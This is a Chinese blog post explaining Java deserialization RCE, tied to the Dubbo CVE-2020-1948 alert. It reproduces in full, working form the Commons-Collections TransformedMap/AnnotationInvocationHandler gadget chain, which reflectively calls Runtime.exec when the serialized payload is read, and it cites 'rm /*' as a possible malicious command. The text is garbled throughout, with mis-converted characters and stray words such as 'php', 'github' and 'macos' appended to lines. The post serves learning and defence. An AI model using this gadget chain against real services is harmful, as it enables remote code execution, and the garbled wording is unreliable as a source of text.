這周收到外部合做同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認反序列化遠程代碼執行漏洞(CVE-2020-1948)通告。php
按照文章披露的漏洞影響範圍,能夠說是當前全部的 Dubbo 的版本都有這個問題。html
無獨有偶,這周在 Github 本身的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當前項目存在安全漏洞CVE-2018-10237。java
能夠看到這兩個漏洞都是利用反序列化進行執行惡意代碼,可能不少同窗跟我當初同樣,看到這個一臉懵逼。好端端的反序列化,怎麼就能被惡意利用,用來執行的惡意代碼?git
這篇文章咱們就來聊聊反序列化漏洞,瞭解一下黑客是如何利用這個漏洞進行攻擊。github
先贊後看,養成習慣!微信搜索『程序通事』,關注就完事了!
在瞭解反序列化漏洞以前,首先咱們學習一下兩個基礎知識。macos
Java 中有一個類 Runtime
,咱們可使用這個類執行執行一些外部命令。apache
下面例子中咱們使用 Runtime
運行打開系統的計算器軟件。數組
// 僅適用macos Runtime.getRuntime().exec("open -a Calculator ");
有了這個類,惡意代碼就能夠執行外部命令,好比執行一把 rm /*
。安全
若是常用 Dubbo,Java 序列化與反序列化應該不會陌生。微信
一個類經過實現 Serializable
接口,咱們就能夠將其序列化成二進制數據,進而存儲在文件中,或者使用網絡傳輸。
其餘程序能夠經過網絡接收,或者讀取文件的方式,讀取序列化的數據,而後對其進行反序列化,從而反向獲得相應的類的實例。
下面的例子咱們將 App
的對象進行序列化,而後將數據保存到的文件中。後續再從文件中讀取序列化數據,對其進行反序列化獲得 App
類的對象實例。
public class App implements Serializable { private String name; private static final long serialVersionUID = 7683681352462061434L; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println("readObject name is "+name); Runtime.getRuntime().exec("open -a Calculator"); } public static void main(String[] args) throws IOException, ClassNotFoundException { App app = new App(); app.name = "程序通事"; FileOutputStream fos = new FileOutputStream("test.payload"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法將Unsafe對象寫入object文件 os.writeObject(app); os.close(); //從文件中反序列化obj對象 FileInputStream fis = new FileInputStream("test.payload"); ObjectInputStream ois = new ObjectInputStream(fis); //恢復對象 App objectFromDisk = (App)ois.readObject(); System.out.println("main name is "+objectFromDisk.name); ois.close(); }
執行結果:
readObject name is 程序通事 main name is 程序通事
而且成功打開了計算器程序。
當咱們調用 ObjectInputStream#readObject
讀取反序列化的數據,若是對象內實現了 readObject
方法,這個方法將會被調用。
源碼以下:
上面的例子中,咱們在 readObject
方法內主動使用Runtime
執行外部命令。可是正常的狀況下,咱們確定不會在 readObject
寫上述代碼,除非是內鬼 ̄□ ̄||
若是能夠找到一個對象,他的readObject
方法能夠執行任意代碼,那麼在反序列過程也會執行對應的代碼。咱們只要將知足上述條件的對象序列化以後發送給先相應 Java 程序,Java 程序讀取以後,進行反序列化,就會執行指定的代碼。
爲了使反序列化漏洞成功執行須要知足如下條件:
ClassNotFoundException
異常。readObject
方法能夠執行任何代碼,沒有任何驗證或者限制。引用一段網上的反序列化攻擊流程,來源:https://xz.aliyun.com/t/7031
- 客戶端構造payload(有效載荷),並進行一層層的封裝,完成最後的exp(exploit-利用代碼)
- exp發送到服務端,進入一個服務端自主複寫(也多是也有組件複寫)的readobject函數,它會反序列化恢復咱們構造的exp去造成一個惡意的數據格式exp_1(剝去第一層)
- 這個惡意數據exp_1在接下來的處理流程(多是在自主複寫的readobject中、也多是在外面的邏輯中),會執行一個exp_1這個惡意數據類的一個方法,在方法中會根據exp_1的內容進行函處理,從而一層層地剝去(或者說變形、解析)咱們exp_1變成exp_二、exp_3......
- 最後在一個可執行任意命令的函數中執行最後的payload,完成遠程代碼執行。
下面咱們以 Common-Collections
的存在反序列化漏洞爲例,來複現反序列化攻擊流程。
首先咱們在應用內引入 Common-Collections
依賴,這裏須要注意,咱們須要引入 3.2.2 版本以前,以後的版本這個漏洞已經被修復。
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
PS:下面的代碼只有在 JDK7 環境下執行才能復現這個問題。
首先咱們須要明確,咱們作一系列目的就是爲了讓應用程序成功執行 Runtime.getRuntime().exec("open -a Calculator")
。
固然咱們沒辦法讓程序直接運行上述語句,咱們須要藉助其餘類,間接執行。
Common-Collections
存在一個 Transformer
,能夠將一個對象類型轉爲另外一個對象類型,至關於 Java Stream 中的 map
函數。
Transformer
有幾個實現類:
ConstantTransformer
InvokerTransformer
ChainedTransformer
其中 ConstantTransformer
用於將對象轉爲一個常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事"); Object transform = transformer.transform("樓下小黑哥"); // 輸出對象爲 程序通事 System.out.println(transform);
InvokerTransformer
將會使用反射機制執行指定方法,例如:
Transformer transformer = new InvokerTransformer( "append", new Class[]{String.class}, new Object[]{"樓下小黑哥"} ); StringBuilder input=new StringBuilder("程序通事-"); // 反射執行了 input.append("樓下小黑哥"); Object transform = transformer.transform(input); // 程序通事-樓下小黑哥 System.out.println(transform);
ChainedTransformer
須要傳入一個 Transformer[]
數組對象,使用責任鏈模式執行的內部 Transformer
,例如:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; Transformer chainTransformer = new ChainedTransformer(transformers); chainTransformer.transform("任意對象值");
經過 ChainedTransformer
鏈式執行 ConstantTransformer
,InvokerTransformer
邏輯,最後咱們成功的運行的 Runtime
語句。
不過上述的代碼存在一些問題,Runtime
沒有繼承 Serializable
接口,咱們沒法將其進行序列化。
若是對其進行序列化程序將會拋出異常:
咱們須要改造以上代碼,使用 Runtime.class
通過一系列的反射執行:
String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), };
剛接觸這塊的同窗的應該已經看暈了吧,不要緊,我將上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class. getMethod("getRuntime", null). invoke(null, null)). exec("open -a Calculator");
接下來咱們須要找到相關類,能夠自動調用Transformer
內部方法。
Common-Collections
內有兩個類將會調用 Transformer
:
TransformedMap
LazyMap
下面將會主要介紹 TransformedMap
觸發方式,LazyMap
觸發方式比較相似,感興趣的同窗能夠研究這個開源庫@ysoserial CommonsCollections1
。
Github 地址: https://github.com/frohoff/ys...
TransformedMap
能夠用來對 Map 進行某種變換,底層原理其實是使用傳入的 Transformer
進行轉換。
Transformer transformer = new ConstantTransformer("程序通事"); Map<String, String> testMap = new HashMap<>(); testMap.put("a", "A"); // 只對 value 進行轉換 Map decorate = TransformedMap.decorate(testMap, null, transformer); // put 方法將會觸發調用 Transformer 內部方法 decorate.put("b", "B"); for (Object entry : decorate.entrySet()) { Map.Entry temp = (Map.Entry) entry; if (temp.getKey().equals("a")) { // Map.Entry setValue 也會觸發 Transformer 內部方法 temp.setValue("AAA"); } } System.out.println(decorate);
輸出結果爲:
{b=程序通事, a=程序通事}
上文中咱們知道了,只要調用 TransformedMap
的 put
方法,或者調用 Map.Entry
的 setValue
方法就能夠觸發咱們設置的 ChainedTransformer
,從而觸發 Runtime
執行外部命令。
如今咱們就須要找到一個可序列化的類,這個類正好實現了 readObject
,且正好能夠調用 Map put
的方法或者調用 Map.Entry
的 setValue
。
Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler
,正好知足上述的條件。這個類構造函數能夠設置一個 Map
變量,這下恰好能夠把上面的 TransformedMap
設置進去。
不過不要高興的太早,這個類沒有 public 修飾符,默認只有同一個包纔可使用。
不過這點難度,跟上面一比,還真是輕鬆,咱們能夠經過反射獲取從而獲取這個類的實例。
示例代碼以下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 隨便使用一個註解 Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代碼以下 :
String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), }; // Transformer transformerChain = new ChainedTransformer(transformers); Map<String, String> tempMap = new HashMap<>(); // tempMap 不能爲空 tempMap.put("value", "you"); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 隨便使用一個註解 Object instance = ctor.newInstance(Target.class, exMap); File f = new File("test.payload"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); // 觸發代碼執行 Object newObj = ois.readObject(); ois.close();
上面代碼中須要注意,tempMap
須要必定不能爲空,且 key
必定要是 value。那可能有的同窗爲何必定要這樣設置?
tempMap
不能爲空的緣由是由於 readObject
方法內須要遍歷內部 Map.Entry
.
至於第二個問題,別問,問就是玄學~好吧,我也沒研究清楚--,有了解的小夥伴的留言一下。
最後總結一下這個反序列化漏洞代碼執行鏈路以下:
在 JDK 8 中,AnnotationInvocationHandler
移除了 memberValue.setValue
的調用,從而使咱們上面構造的 AnnotationInvocationHandler
+TransformedMap
失效。
另外 Common-Collections
3.2.2 版本,對這些不安全的 Java 類序列化支持增長了開關,默認爲關閉狀態。
好比在 InvokerTransformer
類中重寫 readObject
,增相關判斷。若是沒有開啓不安全的類的序列化則會拋出UnsupportedOperationException異常
Dubbo 反序列化漏洞原理與上面的相似,可是執行的代碼攻擊鏈與上面徹底不同,這裏就再也不復現的詳細的實現的方式,感興趣的能夠看下面兩篇文章:
https://blog.csdn.net/caiqiiq...
https://www.mail-archive.com/...
Dubbo 在 2020-06-22 日發佈 2.7.7 版本,升級內容名其中包括了這個反序列化漏洞的修復。不過從其餘人發佈的文章來看,2.7.7 版本的修復方式,只是初步改善了問題,不過並無根本上解決的這個問題。
感興趣的同窗能夠看下這篇文章:
https://www.freebuf.com/mob/v...
最後做爲一名普通的開發者來講,咱們本身來修復這種漏洞,實在不太現實。
術業有專攻,這種專業的事,咱們就交給個高的人來頂。
咱們須要作的事,就是了解的這些漏洞的一些基本原理,樹立的必定意識。
其次咱們須要瞭解一些基本的防禦措施,作到一些基本的防護。
若是碰到這類問題,咱們及時須要關注官方的新的修復版本,儘早升級,好比 Common-Collections
版本升級。
有些依賴 jar 包,升級仍是方便,可是有些東西升級就比較麻煩了。就好比此次 Dubbo 來講,官方目前只放出的 Dubbo 2.7 版本的修復版本,若是咱們須要升級,須要將版本直接升級到 Dubbo 2.7.7。
若是你目前已經在使用 Dubbo 2.7 版本,那麼升級仍是比較簡單。可是若是還在使用 Dubbo 2.6 如下版本的,那麼就麻煩了,沒辦法直接升級。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就好比包名變動,影響真的比較大。
就拿咱們系統來說,咱們目前這套系統,生產還在使用 JDK7。若是須要升級,咱們首先須要升級 JDK。
其次,咱們目前大部分應用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這麼低。
這部分應用直接升級到 Dubbo 2.7 ,改動其實很是大。另外有些基礎服務,自從第一次部署以後,就再也沒有從新部署過。對於這類應用還須要仔細評估。
最後,咱們有些應用,本身實現了 Dubbo SPI,因爲 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關包路徑也須要作出一些改動。
因此直接升級到 Dubbo 2.7 版本的,對於一些老系統來說,還真是一件比較麻煩的事。
若是真的須要升級,不建議一次性所有升級,建議採用逐步升級替換的方式,慢慢將整個系統的內 Dubbo 版本的升級。
因此這種狀況下,短期內防護措施,可參考玄武實驗室給出的方案:
若是當前 Dubbo 部署雲上,那其實比較簡單,可使用雲廠商的提供的相關流量監控產品,提早一步阻止漏洞的利用。
本人不是從事安全開發,上文中相關總結都是查詢網上資料,而後加以本身的理解。若是有任何錯誤,麻煩各位大佬輕噴~
若是能夠的話,留言指出,謝謝了~
好了,說完了正事,來講說這周的趣事~
這周搬到了小黑屋,哼次哼次進入開發~
剛進到小黑屋的時候,我發現裏面的桌子,能夠單獨拆開。因而我就單獨拆除一個桌子,而後霸佔了一個背靠窗,正面直對大門的自然划水摸魚的好位置。
以後我又叫來另一個同事,坐在個人邊上。當咱們的把電腦,顯示器啥的都搬過來放到桌子上以後。外面進來的同事就說這個會議室怎麼就變成了跟房產線下門店同樣了~
還真別說,在個人位置前面擺上兩把椅子,就跟上面的圖同樣了~
好了,下週有點不知道些什麼,你們有啥想了解,感興趣的,能夠留言一下~
若是沒有寫做主題的話,咱就幹回老本行,來聊聊這段時間,我在開發的聚合支付模式,盡請期待哈~
## 幫助資料
歡迎關注個人公衆號:程序通事,得到平常乾貨推送。若是您對個人專題內容感興趣,也能夠關注個人博客: studyidea.cn